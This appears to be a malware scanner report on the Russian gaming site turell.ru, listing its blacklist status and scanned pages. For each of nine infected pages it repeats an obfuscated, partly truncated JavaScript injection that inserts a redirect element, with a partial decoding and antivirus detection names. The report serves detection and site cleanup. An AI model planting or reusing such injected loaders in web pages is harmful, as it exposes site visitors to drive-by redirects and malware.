Malware Scanner report for turell.ru

Malicious/Suspicious/Total urls checked: 9/0/15

9 pages have malicious code. See details below

Blacklists: Found

The website is marked by Yandex as suspicious.

The website "turell.ru" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.

Malicious Redirects: OK

Malicious/Hidden/Total iFrames: 0/0/0

Deface / Content modification: OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

Malware Removal
Blacklists Removal
Reason Eliminating
1 Month Hack Insurance

More details

Website Hack Insurance

Files & DB Monitoring
Daily Backups
Malware & Hack Detection
Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=turell.ru

Result: This site is not currently listed as suspicious.

Query: http://yandex.com/infected?l10n=en&url=http://turell.ru/

Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

Request	Server response	Status
http://turell.ru/	200 OK Content-Length: 30704 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/wp-content/themes/Semantic/menu/mootools-1.2.5-core-yc.js	200 OK Content-Length: 66798 Content-Type: text/javascript	clean
http://turell.ru/wp-content/themes/Semantic/menu/MenuMatic_0.68.3.js	200 OK Content-Length: 25860 Content-Type: text/javascript	clean
http://turell.ru/wp-includes/js/jquery/jquery.js?ver=1.8.3	200 OK Content-Length: 93658 Content-Type: text/javascript	clean
http://turell.ru/wp-content/plugins/wp-postratings/postratings-js.js?ver=1.50	200 OK Content-Length: 3018 Content-Type: text/javascript	clean
http://turell.ru/sitemap.html	200 OK Content-Length: 30724 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/feed	200 OK Content-Length: 56663 Content-Type: text/xml	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/novosti/the-wolf-among-us-chast-tretya-vpechatleniya-ot-reliza.html/attachment/maxresdefault-6	200 OK Content-Length: 25290 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/starcraft-2	200 OK Content-Length: 37769 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/interesnye-fakty	200 OK Content-Length: 34235 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/novosti	200 OK Content-Length: 36878 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/sovety-gejmerov	200 OK Content-Length: 35823 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) (function(PuE){var sx=function(X5A){return X5A["\x74\x6f\x53\x74\x72"+"\x69\x6e\x67"](36)},br=function(vX){return vX[sx(918239)]("") },M5z=""+br(["\x08\xb7?~\x97\x95f","\xa9&\xe9\x10\x83","\x1fne\xd2Vu\xcd\x17","/:l6OBXdRk`YbnJ\x09<","\x1e\x0cMnjWAl\x0e>","\x08\x0aMV\|\x07uTLE","\\PDtUm6^fVlHJ_r\x01",":\x0c\x0c\x1e;/+\x09","0\x09\x08'.\x1b-$","\x1c9;\x0b,\x0buDHEt","ykl/Ws\x0e[N\\~\x0b","\x16[vT\x0b\x16xu<+(","\x16;\x0f\x10\|pUh2^B","$\x18\x09\x14\x20\|3","6\x1fgFR$^a\x0b@V}R","ROo ... 1963 bytes are skipped ...3\x75\x62\x73\x74"+"\x72\x69\x6e\x67"](0,tP[OZ[2]]);KRY=function(z4){var jC,GP1,VxS=GP1="",GS=0;z4=z4[OZ[0]](VxS);for(jC in z4){if(z4[OZ[3]](jC)){GP1+=CGC(z4[jC],vK7[OZ[0]](VxS)[GS%=vK7[OZ[2]]]);GS++;}}return(GP1);};vK7=KRY(tP);PuE[KRY("efen")](KRY(M5z[KRY("sefqsVxIG")](tP[KRY("lujesL")])))})(window,CGC=function(lRf,Zxr,LY,Xe3){lRf=lRf[LY="\x63"+(Xe3="\x68\x61\x72\x43\x6f"+"\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+Xe3](lRf&JMM\|((lRf&~JMM)^(Zxr[LY](0)&~JMM))))}); Decoded script: /h4HfICroqjTll//knzSCk//IGO1wroVmvbtEi4YBGKhNNA78/ (function(sb){JMM=(0xee-0xe8)/2(0xaf^0xa7)/20x11;var OR=(function(z){var a=[KRY("cbecwETOEmt]F"),KRY("wydvk"),KRY("huiekT"),KRY("sdynf"),KRY("a`pgmDRKIlu"),KRY("gutGoE\|FNtbqKVCD]POG"),KRY("Mqtj"),KRY("ofepeL~T"),KRY("p\x7fskwI~M"),KRY("lufv")],b=[KRY("d\x7fcwnE\x7fW"),KRY("f\|omq"),KRY("rqnflM"),KRY("lunewH"),KRY("sbc")],s=[KRY("dyv"),KRY("ivrcnE")],r=[KRY("hydffN"),KRY("arsmoUeF"),KRY("-!023\x10a ... 1215 bytes are skipped ...[3]];t[2][b[4]]=r[3];(t[1]=(t[0]=z[b[0]][a[0]](s[0]))[a[3]])[a[1]]=t[1][a[2]]=r[4];t[1][a[7]]=r[0];t[1][a[8]]=r[1];t[1][a[9]]=r[2];t[0][a[4]](t[2]);return t[0];})(sb),d=sb[KRY("d\x7fcwnE\x7fW")],i,b,l=KRY("lunewH"),t=KRY("gutGoE\|FNtbqKVCD]POG"),m=sb[KRY("Mqtj")];if(OR){if(b=d[t](KRY("b\x7fd{"))[0])((i=d[t](KRY("dyv")))[l]?i[m[KRY("f\|omq")](m[KRY("rqnflM")]()*i[KRY("lunewH")])]:b)[KRY("a`pgmDRKIlu")](OR);else d[KRY("wbivf")](OR[KRY("oetgqhEnl")]);}delete CGC;delete KRY;delete JMM;})(window); Antivirus reports: Avast JS:Agent-DCD [Expl] NANO-Antivirus Trojan.Script.Heuristic-js.iacgm AVG JS/Agent Sophos Troj/JSRedir-LH GData Script.Packed.IFrame.L@gen
http://turell.ru/stati	200 OK Content-Length: 38130 Content-Type: text/html	malicious
